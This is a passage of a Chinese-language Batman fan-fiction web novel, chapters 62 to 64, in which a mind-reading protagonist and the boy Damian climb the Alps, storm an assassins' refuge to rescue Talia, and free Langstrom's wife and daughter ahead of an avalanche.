达米安在心里暗暗决定。 第62章 我那高分但生活不能自理的少主。 卡修斯站在深夜人声并不鼎沸的机场大厅，不太确定地问身边的10岁男孩：“难道我们的交通工具不是私人飞机吗？” 达米安理所当然地说：“我可没说过，不过如果你能弄来私人飞机的话，我可以开。” “所以，你以塔利亚的名义约见我的真正原因是……” “当然是信任你。还能因为什麽？”男孩非常不满意地回答。 真的吗？我不信。 我觉得你找我的主要原因可能是为了让我给你买机票。 “快点，去买票！”达米安推了他一把。 卡修斯在心里劝自己。 还好今天上午布鲁斯给了他好几张富兰克林，他的钱包里还放着提姆给他的银行卡。 刺客联盟的继承人，目标是统治世界的男人，没钱买机票。 你还是快点改姓韦恩吧。 卡修斯认命地拿出手机，在软件上找机票。 达米安对他突然拿出手机的行为非常不满意：“你在干什麽，快点去买票。” “前两天看书说，小动物也会沉迷手机，智商越高的动物，越容易沉迷，看来是真的。等救出母亲，我一定要好好管教吱吱，让他戒掉网瘾。” 卡修斯：要不是既怕暴露，又担心打不过你，真的很想打孩子。 “我的少主，机场虽然有票务处，但在那买票是没有优惠的。您的仓鼠目前还不是很富裕，网上订票有优惠，咱们能省就省吧。” 卡修斯耐着性子解释。 “失去我这个饲主之后，你果然过得不好。”达米安下结论道。 “看来家养的宠物确实不能放生。不过他为什麽还胖了？是因为廉价的垃圾食品吃太多了吗？” 想要捂住耳朵，但一想到这不是靠耳朵听到的，就有点无奈。 这就是我在心里一直喊蝙蝠侠外敷的惩罚吗？现在真的要帮他管孩子了。 两人今晚的运气比较好，买到了淩晨红眼航班的两张尾票。 卡修斯收起手机，又带着达米安往机场的商铺位置走，打算给他买个包，把他身上的武士刀还有自己的袖剑都托运了。 “不是买到票了吗？怎麽不过安检？又去做什麽？” 大概是心系塔利亚，达米安的语气越来越急躁。 “我现在就很想知道，你是怎麽从刺客联盟来这边的，你的刀都不用托运的吗？” 有多个博士学位，却没有生活常识，真是令人无语。 “仓鼠，注意你的语气！”达米安带着些不满，倨傲地说，“刺客联盟在世界各地都有门徒，区区机场安检，对联盟的继承人来说根本不是问题。” “那你直接过安检吧。”卡修斯爽快道。 挺好，还省钱了。 达米安沉默了一阵，然后拽着他：“快去帮我安排托运！” 卡修斯：…… 过程虽然麻烦些，但卡修斯凭借着刷德雷克-韦恩的卡的便利，好歹以艺术品和古董的名义，将他们的冷兵器都给托运了。当然，期间还要随时按住因为不耐烦被盘问，总是打算跳起来打人的熊孩子。 等他们抵达苏黎世机场时，是瑞士时间第二天的傍晚。走下飞机的时候，阿尔卑斯山的雪峰正在远处晚霞下泛着暖光。 刚开机，手机铃声就响了起来，卡修斯本以为会是提姆，但来电显示的是阿尔弗雷德。 他想到提姆离开之前凝重的表情，不禁有些担心。 “上午好，潘尼沃斯先生，您还好吗？”卡修斯主动询问。 他们淩晨出发，又经过了8小时的飞行，哥谭现在应该正是上午。 “下午好，希尔先生，阿尔卑斯山的滑雪季似乎还未开始？”手机里传来韦恩庄园管家沉稳的声音。 “你怎麽……”他说了一半，就放弃了。算了，蝙蝠侠怎麽可能不对他的行踪了如指掌呢？作为蝙蝠侠的后勤总管，便士一知道自己的行踪好像也没什麽奇怪的。 “谁找你，快点挂电话，我们该走了。” 达米安在旁边不耐烦的插话道。 “您身边还有其他人？如果你现在不是自由身，请咳嗽一声。”阿尔弗雷德镇定地说。 “我没事，您放心。”卡修斯觉得管家侠好像有点敏锐的过分了。 为了不让他继续追问，卡修斯先问道：“布鲁斯有消息了吗？” 管家沉默了半秒，才说：“暂时还没有，不过根据您给出的提示，提姆少爷已经找到了迷宫所在的位置，他正在和迪克少爷查找突破口，相信很快就有好消息的。” 卡修斯知道他们的进展肯定没有管家说的这样容易，但这件事不适合在电话里讲。 他知道，即使没有罗宾和夜翼的帮助，那个迷宫最多也只能困住布鲁斯七天的时间，可他又没办法直接告诉阿尔弗，只能说：“您别太担心了，他一定能逢凶化吉的。” 阿尔弗温和的说：“谢谢。不过，虽然老爷目前不在家，我还是要替他关心一下您的行程，请问您什麽时候能结束这次突然的旅行呢？” 卡修斯垂头看了达米安一眼，他发现这会儿这孩子倒是意外的安静。于是说道：“我也不确定，可能明天就能回来，也有可能会多停留两天。” 阿尔弗听他的声音，确实不像被绑架，也有还会回哥谭的意愿，因此也不再多问。 “那麽，请注意安全，韦恩庄园的每一位成员都很在意你的安危，等您回来之后，老爷和提姆少爷应该都很愿意听您分享您的旅行见闻。” 阿尔弗雷德礼貌的说道。 卡修斯明白他的意思，这是委婉的提醒他，等回来之后，他得向布鲁斯和提姆解释这次行程的原委。 卡修斯觉得，如果这次营救塔利亚成功的话，也许回哥谭之后根本轮不到他来解释。不过他还是点头应下了。 “等我回来的时候，一定会好好跟布鲁斯解释的。”卡修斯承诺道，也算是委婉暗示管家挂心的那个人一定会平安归来。 他听到电话里阿尔弗雷德轻轻呼出一口气：“借您吉言。” 挂了电话后，就看到达米安正盯着他看。 “你刚才说的布鲁斯，是布鲁斯·韦恩吗？” 男孩问道。 卡修斯点了点头。 “是父亲。” 看来塔利亚已经告诉达米安，他和布鲁斯的关系了。 “他怎麽了？” 达米安立即问。 卡修斯顿了顿，不知道该不该告诉他，目前不但你母亲失联，你父亲也处于失联状态。 看到他的犹豫，达米安马上接话道：“你最好不要企图用谎话来欺骗你的主人！” 卡修斯叹了口气，说道：“布鲁斯目前也处于失联状态。” 达米安的眉头立即皱的更紧了。 “营救完母亲后，我要说服她，跟我们一起去找父亲。” “别再耽误时间了，快上山！”达米安催促。 卡修斯很想问，怎麽上山？让超人带我们飞上去吗？ 这位少主大概从没体验过如此复杂的交通过程，了解到从机场到少女峰还要换乘一趟城际火车和一趟登山火车之后，就一直臭着脸。 “你怎麽这麽没用？！”男孩没有道理的迁怒道。 卡修斯的本意是抱他的大腿，但目前这熊孩子必须得依靠自己的钱包才能尽快抵达目的地，所以他也硬气起来了，眼珠朝下地斜睨着他说：“真抱歉啊少主，谁让我只是一只仓鼠呢？” 达米安：“TT。” 就因为这句话，达米安一路上都拒绝再跟他说话。 卡修斯倒是无所谓，因为虽然他不说话，他的心声倒是没有停过，也让卡修斯了解到，达米安也没有真的生他的气。当然，最主要的原因是，他不想跟一只仓鼠生气。 行，仓鼠就仓鼠吧。在达米安这儿，也算是金字塔顶端的物种了，总之比人要高贵。 坐上火车的时候，卡修斯又在心里回忆了一下自己曾经看到过的相关剧情。虽然现在剧情的走向跟原本有了比较大的出入，但多少还是能提供一些参考的。 然后他就想起一个关键问题。 丧钟为什麽要抓塔利亚。 在原本的剧情中，塔利亚是送上门去给丧钟抓到的，但现在，丧钟为什麽会在哥谭抓到塔利亚？ 塔利亚在哥谭，迟迟不找布鲁斯带孩子，偏偏去找林肯·马奇，又是为什麽？ 他想起当初拉尔斯在狄克逊码头设下陷阱打算杀死罗宾的时候，也有猫头鹰法庭的参与。法庭派出利爪在路上埋伏蝙蝠侠，拖延他救援的时间。要不是他当时也在码头，说不定还真的会让拉尔斯得逞。 总觉得有什麽东西被他给忽略了。 到底是什麽呢？ 达米安还在一旁用心声讥讽没用的仓鼠吱吱，觉得坐登山火车上山完全没必要，要不是有他这个累赘，自己爬雪山肯定比登山火车要快。 卡修斯也在心里吐槽，是啊，你是从胚胎里就进行过基因优化的超级人类，谁能跟你比啊。 “艹！” 他忽然大喊一声。 达米安嫌弃的看了他一眼。 对啊，基因改造，他怎麽把这茬给忘了。 卡修斯拿起电话，想要打给提姆，可拨号前又顿住了。 罗宾夜翼和便士一现在正在全力搜索蝙蝠侠，他不能再用其他事去干扰他们了。 想了想，他最终还是打给了杰森。 通信音没响几声，就被接了起来，红头罩暴躁的声音混着爆炸和枪声传来：“你打来的可真是时候！” 放在之前，他肯定要顺嘴怼他两句，但现在却没那个心情。 他想起刚才阿尔弗还跟他说，现在是哥谭时间的上午，所以街头火拼是这麽早就开始了，还是一直到现在都还没结束？ 红头罩像是隔着电话线都听到他的心声似的，快速说道：“那只老蝙蝠是重伤不治了吗？才一晚上都不见人影，什麽阿猫阿狗都要趁他不在出来遛两圈。” 旁边一直闭目养神的达米安忽然睁开眼：“你在给陶德打电话？” 电话那头的红头罩本来骂骂咧咧的声音突然停住了。 过了一会儿，爆发出更尖锐暴躁的声音：“你什麽时候又跟恶魔崽子混在一起了？你他妈现在在哪儿？” 眼看达米安倒竖着眉毛就要来抢他的电话，卡修斯马上站起来，一边伸手护着耳边的手机，一边快速跟杰森说：“等我回来再跟你解释，不过现在你得帮我个忙，帮我找个人，以前在晨星实验任职的教授柯克·朗斯特姆，他现在可能在丧钟的监视之下，找到他的时候一定要小心，他身边可能有刺客联盟的人。” “我就知道一听到恶魔崽子的消息就没好事，你到底在搞什麽鬼？这个人是干什麽的？” “他是研究人蝠病毒的……” 还没说完，就听到杰森又在那边爆了句粗口，紧跟着是一连串的枪声。 “我说这黑面具怎麽突然出息了，搞出这麽一群不人不鬼的东西！” 电话那头再次响起枪声和不知名野兽尖啸的声音，听得卡修斯头皮发麻。 他觉得自己好像不小心踏入一个迷雾般的阴谋，蝙蝠侠被困猫头鹰迷宫，罗宾和夜翼忙于查找蝙蝠侠，无暇再顾及其他，人蝠出现，塔利亚被抓，明明这些事情不该一起发生的。 他有了点不太好的预感。 “杰森，你先去找朗斯特姆教授，找不到的话也没关系，你得回一趟韦恩庄园。” 卡修斯严肃地对他说。 “呵，做梦吧，我才不……” 红头罩嗤笑一声，毫不犹豫的拒绝。 “布鲁斯失踪了，提姆和迪克正在想办法找他，阿尔弗雷德有可能有危险。” 杰森拒绝的话戛然而止。 他沉默了一会儿，才吼道：“我会帮你找人，也会回去看看的，不过你要是骗我，就等着屁股开花吧！” “废物陶德，你有什麽资格威胁我的宠物！” 凑近的达米安在一旁嘶声怒吼，惹得列车上的乘客纷纷侧目。 “我现在去的地方，很可能还关着朗斯特姆的妻女，如果找到教授，务必说服他跟你走，把他带给阿尔弗，他会知道接下来怎麽做的。” 卡修斯快速交代完要说的话，也不再给杰森反应的时间，马上挂掉了电话。 他小声地向周围被打扰到的乘客道了歉，然后按着达米安坐了下来。 达米安还是很生气，他怒瞪着卡修斯，犀利的斥责道：“你怎麽这麽没用，竟然允许陶德那个僵尸这麽侮辱你？什麽屁股开花，他想干什麽？” 卡修斯感觉跟达米安一起出行很有风险，随时随地在经历社死。 他只能捂着他的嘴，压低声音恳求：“闭嘴吧我的小少爷！你再说话，我可要跳火车了！” 第63章 刺客×，推土机√ 他们抵达阿尔卑斯山脚下的时候，太阳已经快要落山，通往少女峰的登山火车早已经停运。卡修斯本想在雪山下住一晚，等第二天天亮之后再登山，但达米安不同意，坚持要立即开始攀登。 “我四岁就可以独自攀登喜马拉雅，这种雪山还难不倒我。你可以在山下等我，等我接到母亲，再来找你，放心，我会像母亲说明你的功绩。”达米安仰着头，倔强的说。 你找我果然就是为了让我给你当移动提款机的吧！ 卡修斯觉得槽点太多简直无从吐起。 你真的是拉尔斯的亲孙子吗？四岁爬雪山，牙长齐了吗？这算虐待……不是，谋杀幼童了吧？ 算了，就当真的是自己乱喊外敷的报应吧。 再说了，韦恩家对自己其实也还挺不错的。他就当报答布鲁斯和阿尔弗雷德吧。 看这个熊孩子心意已决的样子，卡修斯叹了口气，准备跟他一块儿去。 主要是作为一个三观正常的人类，他实在不放心一个10岁的小孩半夜爬雪山。自己跟去的话，再怎麽样，至少出了事还能帮忙报警。 “我跟你一块儿去，事先说明啊，我们俩一起爬，说不定还不如明天一早乘最早班的登山火车快。” 达米安的嘴角极小地，又快速地抽动了两下，但马上恢复了一如既往地装杯模样。 “哎，我的宠物太粘人怎麽办。” 卡修斯：…… 牙痒痒，想咬人。 既然决定了，就不再耽搁，两人趁着天色还没有完全暗下来，立刻往雪山半腰的猫耳峰行进。 其实不乘登山火车也有一点益处，拉尔斯的避难所距离少女峰还是有一段距离的，刺客联盟首领的藏身之地怎麽可能被寻常人轻易看到？他们如果直接从山脚开始攀爬，的确会少绕一大段路。 达米安的速度确实很快，等到天幕成为最深沉的黑色，又一点点的泛起青色的天光时，他们已经距离避难所很近了。 喉咙里呼哧呼哧，离死过去就差一口气的卡修斯终于相信，如果没有他这个“累赘”，这个4岁就开始爬雪山的小男孩可能半夜时分就已经抵达了目的地。 越接近避难所，那里的路就越难走，或者说，那个避难所根本就不是普通人能通过正常攀爬能去到的地方，卡修斯每喘一下气都在后悔，现在自己应该在雪山脚下睡觉的。老老实实当一个没有感情的提款机难道不好吗？为什麽要没苦硬吃？ 达米安一刀劈开挡路的冰挂，碎冰碴扑簌簌落进卡修斯的衣领。儿童刺客在陡坡上如履平地，再看看他自己，正四肢并用扒着冰面，袖剑在冰川上划出歪歪扭扭的刻痕。 “当你说带着你会爬到第二天早上的时候，我还以为你是在谦虚，事实证明，宠物是不会谦虚的。”达米安蹲在凸起的岩石上，正居高临下的看着和冰面殊死搏斗的卡修斯。 “现在他看上去倒真的和仓鼠没什麽区别了，可爱。” 卡修斯已经连瞪他的力气都没有了。 “搭把手吧，少主。” 他虚弱地叫唤着。 达米安哼了一声。 “你知道该怎麽说。” 卡修斯忍辱负重：“吱！吱吱！” 达米安终于满意了。 他将武士刀出鞘，又把刀柄递到卡修斯面前：“抓紧，没用的仓鼠。” 卡修斯一把抓住他的刀鞘，借着达米安的力气，连滚带爬地终于爬了上去。 卡修斯吐出嘴里的冰碴，感觉自己真的快死了。 达米安嫌弃地看着他，从随身的包里掏出一个便携氧气瓶塞他嘴里。 “你真的太缺乏锻炼了，以后你得跟着我爬雪山，否则就凭你这破身体，还怎麽好好侍奉本少主？” 卡修斯又用力吸了口氧，才把滤嘴吐出来。这会儿他也顾不上演忠诚的仆人了，疲劳让他暴露本性，他努力爬起来，咬牙切齿地说：“少主，请你有点常识，仓鼠怎麽侍奉人类？你侍奉我还差不多。我没让你背我就已经是一只非常懂得自强的宠物了，别对仓鼠要求太高好吗？” “你！” 达米安横眉冷对。 卡修斯不为所动，将氧气瓶塞包里，再把包毫不客气的挂达米安身上。 “快走吧，趁你的吱吱还有点力气。” 还没走两步，就感觉到身后一阵风，应该是达米安突然对着他出刀了。 卡修斯以为是达米安终于嫌他冒犯又累赘了，打算教训他，可他已经累的根本没力气闪躲，索性闭上眼，放弃挣扎。心里想的是，不愧是能被他听到心声的反派啊，这翻脸比翻书还快，忘恩负义啊！ 这次他要是侥幸活下来，绝对离这熊孩子远远的，至于塔利亚，他爱让谁救让谁救吧，反正他是不掺和了。 他只觉得腰侧被武士刀狠狠抽了一下，连带着重心都不稳，直接踉跄着往旁边退了几步，撞上了身侧的石壁。 他刚想直起身来破口大骂，达米安一个箭步上前，一把按住他的后背，将他狠狠按在石壁上。 还没等他反应过来，头顶传来呼噜噜的声音，一块卡车大小的雪块擦着他们刚才的位置滚落深渊。 又累又惊的卡修斯趴在冰面上，眼神发直地看着被刚才的雪块压断的冰棱，一点劫后余生的喜悦都升不起来。 “没用的仓鼠，也不知道离开我的日子他是怎麽活下来的。” 他有病的少主又在心里叨叨。 “吓到了？” 达米安松开手，冷声说。 卡修斯慢慢直起身，说：“是有一点儿。” 达米安哼了一声：“我又救了你一次。” 卡修斯茫然地看着他：“什麽叫‘又’？” 达米安没理他，将刀收回刀鞘，又用刀鞘尖戳了戳他的腰。 “你走前面。” “仓鼠的记忆只有3-5天，这麽看来果然没错。” 卡修斯躲了一下，感觉他跟提姆其实还挺有兄弟相的，都喜欢戳他，也不知道是什麽毛病。 “别戳我，怕痒！” 他主要是担心对方再这麽来一下，他直接从这大概只有仓鼠能走的窄道掉下去。 身后的达米安突然凑近，隔着厚厚的衣物掐了卡修斯的腰一把。 “啊！” 卡修斯惊叫一声。 要不是达米安预先用刀拦在他身侧，他真的会掉下去。 “来劲了是不是？！” 卡修斯怒瞪着他。 达米安若有所思的捏了捏自己的手指，郑重地说：“你确实胖了。” 卡修斯：…… “在哥谭吃了多少垃圾食品？” 卡修斯回忆了一下，可能因为自己天天看着自己，也没觉得和三个月前有什麽太大的变化，最多就是胖了那麽……一点点。 他觉得主要原因是最近一个礼拜的病号餐吃的太好了。 卡修斯揉了揉自己的腰，感觉刚才被刀拍的地方还隐隐作痛，他瞪了达米安一眼：“这不叫胖，这是战术储备脂肪！” 达米安发出非常不礼貌的两声嘲笑。 当通往避难所吊桥的金属大门终于出现在视野中的时候，卡修斯几乎要亲吻冰面。他瞬间觉得浑身又重新充满了力气，后退几步，准备一鼓作气翻过面前这城墙似的大门，被达米安一把拽住了裤腰。 卡修斯一个踉跄，急忙撑住了达米安的小臂。 “你干什麽？！” 仓鼠生气！ 达米安鄙夷的看着他：“你不但失去了记忆，还失去了脑子吗？不怕被电死你就爬吧。” 男孩甩开他的手。 卡修斯当然害怕。他往后退了两步，对达米安做了个请的手势：“那您来？” 男孩瞪了他一眼，走近大门，摘下战术手套，将掌心按在覆盖门锁的冰层上。 5秒钟过去了，大门毫无反应。 倒是大门顶部的摄像头朝他们这儿微微转动两下。 卡修斯眼疾手快地抬枪就射，瞬间打掉了左右两个摄像头。 “温度传感器被冻住了，需要——” 卡修斯的余光看到了门内角楼高塔上的枪眼，他飞扑过去，将达米安扒拉开。 达米安对卡修斯根本不设防，被他一推，一个跟头滚出去，啃了一嘴雪。 他刚想骂人，几十枚箭矢没入刚才他站着的位置的雪地里。 “我也救了你一次，扯平了。”说着，卡修斯已经躲避到大门和墙壁的拐角处——那里是监视塔楼的视野盲区。 达米安也猫着身子躲到了另一边。 “很显然，丧钟是个有正常智力的人类，他删掉了你的生物信息。”卡修斯看着毫无动静的大门，暗搓搓的嘲讽。 达米安哼了一声，说：“那就炸开它！你的枪给我！” 卡修斯将枪扔给达米安，他抬起头，估算了一下这个门的厚度，真要用炸弹，大概会引起雪崩。 达米安已经再次滚出去，抬枪，瞄准，射击。 准确的点掉了塔楼的一个守卫。 “你先撑一会儿。”卡修斯蹲下来，用从达米安小腿上顺过来的匕首插入生物识别锁和门之间的缝隙。 卡修斯已经听到数十双脚快速踩雪而来的嘎吱嘎吱的声音，很显然，里面的刺客已经发现了他们。 达米安将一直披着的白色斗篷丢向卡修斯，盖在了他脑袋上，自己走出来，站在了能被角楼清楚锁定的位置。 箭矢像不要钱似的对着达米安倾泻而出，卡修斯藏在白色斗篷下，把自己和雪地融为一体，握住匕首的手腕用力，硬生生撬开了门锁的外盖，又顺着内部线路，找到了门锁的物理接口。 “你能修改程序？”达米安一边快速奔跑闪避，一边大声喊。 “不能！”卡修喊得理直气壮。 达米安气结，躲开一连串的箭矢：“那你躲在那里干嘛！给我滚出来！” “但我能切断这扇门的高压电！”卡修斯回答，“再给我十秒。” “最多五秒！” 两座塔楼的火力都被达米安吸引，他闪避的动作都快出了残影。 “好了。”卡修斯大喊。 厚重的大门没有任何反应，但达米安选择相信他。 他从怀里掏出一个烟雾弹，猛地朝塔楼位置扔过去。 卡修斯的白眼差点翻到天上去：“你是人猿泰山生的吗？这个距离你要能把那玩意扔上塔楼，我给你表演倒立吃塔楼！” 达米安不理他，在烟雾弹飞到抛物线顶端的时候，抬枪就射。 白色的烟雾瞬间在半空中逸散开来。 卡修斯：糟糕，说早了。 达米安已经站在了城墙之上。 “我记下了，等会你就给我把塔楼吃了。” “呃，吃什麽塔楼，塔楼怎麽能吃，我又没有异食癖，少主你在说什麽？”卡修斯能屈能伸，根本不承认。 “TT。” 达米安瞪了他一眼，抽出腰间的双刀，直接从城墙上跳了下去。 卡修斯再次将自己隐蔽在角落，一边调整呼吸，恢复力气，一边静静地等待达米安给自己开门。 半分钟之后，20公分厚的钛合金大门缓缓打开，等缝隙能过到半个人的时候，卡修斯轻巧的从门缝里钻出来。 “小心！” 达米安一边大喊，一边将枪重新抛给卡修斯。 “左翼走廊！” 卡修斯接过枪，直接转向，抬枪就射，两个刺客刚刚露头，就被卡修斯打中膝盖，直接跪倒。 “蠢货！妇人之仁！”达米安非常不满意剜了卡修斯一眼。 他抬起手，武士刀从他自己腰侧穿过，直接洞穿从他身后而来的刺客，达米安回头，再一刀割开了对方的喉咙。 卡修斯没有为自己辩驳，两人边打边往里推进。 避难所建在半山腰的位置，刺客们大多数用的还是冷兵器，就算用枪，也为枪身装了消音器，他们也怕热武器的动静太大引起雪崩，到时把自己给埋了。 这倒是给了卡修斯和达米安迅速向前推进的机会，不一会儿，两人就打到了避难所内部。 “少主，我有个建议。” 卡修斯开口道。 他觉得2VS+∞真的不是两个顶级刺客应该面临的处境。 “说。” “您还记得，您是个刺客吗？” “这只仓鼠在说什麽废话？” 达米安瞪他一眼。 卡修斯无视他内心的嘲讽，谆谆善诱道：“刺客难道不应该偷偷地进村，打枪地不要，然后一举制胜吗？” 达米安若有所思的看着他。 “好像挺有道理。” 对啊，弟弟，我们是刺客哎，找准定位，不要去当推土机好吗？ 卡修斯还以为他武德充沛的少主终于听进去了他的忠言，就听到耳边一声怒吼： “斯莱德，你给我滚出来！” 稚嫩但充满愤怒的嚣张吼声在整个避难所内回荡。 看着被达米安的吼声吸引过来的刺客，卡修斯无语望天。 熊孩子可爱是挺可爱的，就是听不懂人话。 愁人。 怎麽办呢，麦外敷亲生的，只能无条件宠溺一下啦。 一大批刺客将两人围堵在避难所长长的走道里。达米安长刀对准他们，轻蔑地哼出声：“斯莱德那个懦夫呢，怎麽还不滚出来，派你们来送死？别忘了，你们中的大多数，都是我训练的。” 卡修斯诧异地挑眉，没想到达米安还有这本事。 一个刺客率先冲上前，达米安看都没看，抬起手中的刀就挡，另一把刀以一个刁钻的角度刺了过去，直接将人捅了个对穿。 “废物点心，你们甚至不如一只半路出家的仓鼠。”达米安一脚把地上的尸体踢开，嘲讽道。 卡修斯转头瞪他。 他这句话的直接后果就是，所有的刺客都朝着卡修斯扑来了。 卡修斯：…… 你可真是个好饲主啊！我记住你了！ 卡修斯立即动了起来。 头顶忽然传来一阵细微的响动，卡修斯还没来得及抬头，达米安已经一脚踹翻其中一个刺客，再借力往上一跃。 卡修斯听到了金属相接的清脆声响。 他挡开冲在最前面的刺客回看一眼，就看到达米安跟一个满身肌肉虬结，体型是他四倍的光头壮汉打了起来。 武士刀和壮汉右手装备的金属虎爪相接，摩擦出亮黄色的火星。 他感觉这个人一拳可能就能把达米安打飞出去，但事实是达米安一脚把壮汉踢出去好几米远。 我勒个大力神童啊！牛顿的棺材板要压不住了。 卡修斯只能尽力将围着自己的刺客都牵制住，让他们没办法支持达米安的对手。 可能因为时刻在关注达米安那边的状况，数柄武士刀齐齐向他飞过来的时候，卡修斯一时躲闪不及，手臂，前胸和大腿纷纷被划出深浅不一的伤口。 “艹！” 卡修斯痛的大喊一声，一时间也不知道到底该捂哪里。 达米安被他的声音吸引，朝他这里看了眼，眉毛立刻竖了起来。 “废物！” 他怒骂道。 卡修斯本来受伤就已经很窝火了，再被骂，心里更是火大。 “管好你自己！” 他回怼道。 雪山攀爬耗费了他太多体力，现在对敌已经是勉力支撑，再分神去跟达米安吵架的结果就是，他完全没有注意到侧面来的偷袭。 达米安挡开壮汉挥过来的虎爪，一个跨步跳到卡修斯的侧面。 “噗——” 卡修斯猛地回头，就看到一把本该戳进他侧胸的刀刃，刺进了达米安的肩膀。 男孩面沉如纸，抿着唇一言不发，完全不顾肩上的伤，转动手腕挥出一刀，偷袭的刺客的右臂瞬间从关节处被齐齐切断。 达米安徒手拔出肩上的刀刃扔在地上。 “说你是废物你还不承认！既然动手就不要留情，你不杀他们，他们就会杀你！” 达米安飞起一脚，再次踢飞了朝他扑过来的壮汉。 卡修斯看着对方的身形，确定这绝对不可能是丧钟。 “厄布，你这个叛徒，祖父那麽器重你，你居然去给斯莱德当狗。你不是我的对手，快让斯莱德给我滚出来！”达米安走过去，一脚踩住他的手臂，将刀刃架在他的脖子上。 卡修斯眯了眯眼，竟然是厄布，他差点没想起来这个十八线反派。 厄布眼珠转了半圈，带着虎爪的右手试图挣脱，达米安一刀挥下去，直接斩断了他的手掌。 “啊……！” 他惨叫出声。 厄布满脸横肉的脸色顿时变得如纸般雪白。 “松……松开，我就说……”厄布求饶道。 达米安看了看他已经断掉的手臂，松开了脚。 厄布捂着右臂，踉跄地爬起来。 “他……他在……” “小心！” 正和达米安以背相抵，替他看住后背的卡修斯忽然转身，一把扑倒男孩。 厄布举起的左臂袖口内，毒针如暴雨般倾泻。 因为卡修斯及时动作，那些毒针全部喂给了对面的刺客们。 中了队友偷袭的刺客们发出凄厉的惨叫倒下，很快就没了声息。 “你怎麽……”达米安想问卡修斯是怎麽知道厄布左臂藏了毒针的，但还没说完，卡修斯就带着他往侧边一滚，扑进旁边的电梯井。 厄布朝着他们的位置扔出的手雷爆炸，顿时将走廊炸成火海。 “丧钟不在这里！他要跑！” 卡修斯在气浪声中大喊。 达米安抓住电梯缆绳，几下攀出电梯井，奋力朝着厄布逃跑的方向追去。 卡修斯费劲爬出电梯井，跟着追出去，就看到达米安已经再次将厄布击倒在地，不远处，一架直升机正在摇摇晃晃的打算升空。 卡修斯毫不犹豫的举枪。 “砰——” 子弹穿透玻璃，直接洞穿了驾驶员的太阳xue。 达米安将武士刀高高举起。 “丧钟在哪儿？” 他最后一次问道。 厄布咳出一口血，嚣张的笑道：“你杀了我啊，杀了我，你永远也别想找到丧钟。让塔利亚那个贱·人给我陪葬也不错。” 卡修斯跑不动了，他站在距离厄布不远的地方，双手撑着膝盖，嗓子跟破风箱似的呼呼冒烟。 “苏格兰，外赫布里底群岛……”卡修斯一边说一边喘气。 厄布的眼睛猛地瞪大，不可置信的看着卡修斯。 达米安看了卡修斯一眼，又看了看厄布的表情，咧嘴露出恶魔般的微笑。 “去死吧。” 武士刀划出银月般的弧线，厄布的脑袋旋转着飞了出去。鲜血在雪地绽开一串红梅。 第64章 哇！你一定就是罗宾！啾咪！ 卡修斯看着滚到一边，死不瞑目的厄布的头，终于想起了和他有关的剧情。 在他所了解的故事里，达米安是在哥谭找到厄布，但在最后处决对方的时候，被夜翼阻止。 现在，达米安没有及时被送到布鲁斯身边，厄布也没有在哥谭出现，可塔利亚依旧被俘虏。蝙蝠侠和达米安没有突袭关押朗斯特姆教授，可丧钟依然提前转移了塔利亚。 唯一不同的就是，本该在达米安刀下捡回一条命的厄布死了。 他想起厄布临死前最后的心声，不但暴露了丧钟的位置，还提示了另外两个人质的所在地。他不再犹豫，转身重新向着避难所的方向跑去。 达米安将直升机驾驶座里的尸体拽出来扔地上，转身没看到本应该跟过来的卡修斯。一回头，就看到卡修斯和自己背道而驰的身影。他一把扯下刚戴在头上的降噪耳机，大声喊道：“干什麽去？还不上来等什麽呢？” 卡修斯边跑边说：“这儿有两个重要人质，我得把她们找出来。” 达米安已经听到了远处雪峰响起的不祥的声音。 就要雪崩了。 “什麽人质，快跟我走！”达米安远远喊道。 卡修斯没理他，一边跑一边背对着他挥了挥手，意思是他急的话可以先走。 达米安跳下直升机，气的踢了地上的尸体两脚，才小跑着追上卡修斯。 两人再次进入避难所，达米安熟知避难所内部的构造，带着他朝着内部监牢走去。他抠动一块砖，一扇隐形门缓缓打开，几平米大小的暗室里，一对母女正抱在一起瑟瑟发抖。 “别杀我们……” 女人啜泣道。 卡修斯走近她们：“别怕，我们是蝙蝠侠派来救你们的。” 他柔声说道。 朗斯特姆夫人和她的女儿是哥谭人，这个时候提蝙蝠侠的名号是最好的安慰剂。 果然，两人缓缓抬起头。 “真…真的？”女孩看着两人，结巴着问道。 达米安重重地哼了一声，表示不屑。 “那，你就是罗宾了？” 女孩看着达米安说。 达米安一脸不耐烦，刚想说，你才是鸟，你们全家都是鸟，女孩就真的像一只小鸟一样朝着罗宾飞扑过来。 卡修斯及时地让开。 达米安猝不及防被抱了个满怀。 “罗宾！我就知道，你一定会来救我的！谢谢你！” 表情一向冷酷的臭小孩忽然满脸通红，连手都不知道放哪儿了。 “没必要，完全没必要，快放手啊！” 卡修斯站在一旁，露出老父亲般欣慰的微笑。 达米安看着他怒斥：“你那是什麽表情？赶紧把她弄走！再不走我们都得埋在这儿！” 卡修斯疑惑地看着他，达米安的手还虚放在空中，气急败坏地说：“刚才的手雷！就要雪崩了！” 卡修斯立即收了笑，朗斯特姆夫人也收起了轻松的表情，几人齐齐看向达米安。 这会儿达米安已经重新披上了自己的白色兜帽披风外套，他将兜帽扣在头上，遮住自己微微泛红的脸色和耳根，凶巴巴地说：“跟上！” 三个人立即跟着达米安走了出去。 几人用比刚才更快的速度离开了避难所，雪峰顶部传来的轰轰声已经很近了，抬头望去，看到一片白茫茫的雪雾正朝着他们的方向汹涌崩腾而来。 达米安又催了声快点，然后率先跳上直升机驾驶座。 卡修斯将朗斯特姆母女两人推上飞机，直升机已经缓缓离地。他跳上后，直升机螺旋桨旋转的速度持续加快。达米安将油门推到底，桨叶搅碎雪峰上蠢蠢欲动的雪，机身倾斜着掠过逐渐崩塌的雪线，等到他们升空的时候，避难所建筑的主体已经被落下的雪块掩埋，只剩建筑最高处的尖顶还裸露在外。 “还好时间还早，登山火车还没开始运营。”卡修斯趴在舷窗边，低声自语道。 “呵。” 达米安发出一声不屑的低哼。卡修斯抬头看他一眼，男孩正戴着耳机，不像是听到他说了什麽的样子。 朗斯特姆夫人的视线在卡修斯和达米安身上转了两圈，有些犹豫的对着卡修斯说：“我还以为开飞机的会是你，他看上去比我女儿年纪都要小……” 女孩此刻正沉浸在劫后余生和亲眼见到罗宾的喜悦里，捧着脸说：“哎呀，妈妈，罗宾是神奇小子啊，他会开直升机有什麽稀奇的？” “我才不是……” 达米安说了一半，最后还是没说完。 “TT。” “罗宾，这是你的新制服吗？也很可爱哦。” 女孩热情地询问道。她印象里，罗宾穿着的是红黑色紧身制服，黑色披风，不过这身装扮看上去也不错，就是跟看守他们的那群刺客的装扮有点像。 不过，那些刺客穿的都是黑色披风，面前这个男孩却是白色的，只是换了个颜色，气质就完全不同了，在女孩看来，非常可爱。 达米安假装自己没听见。 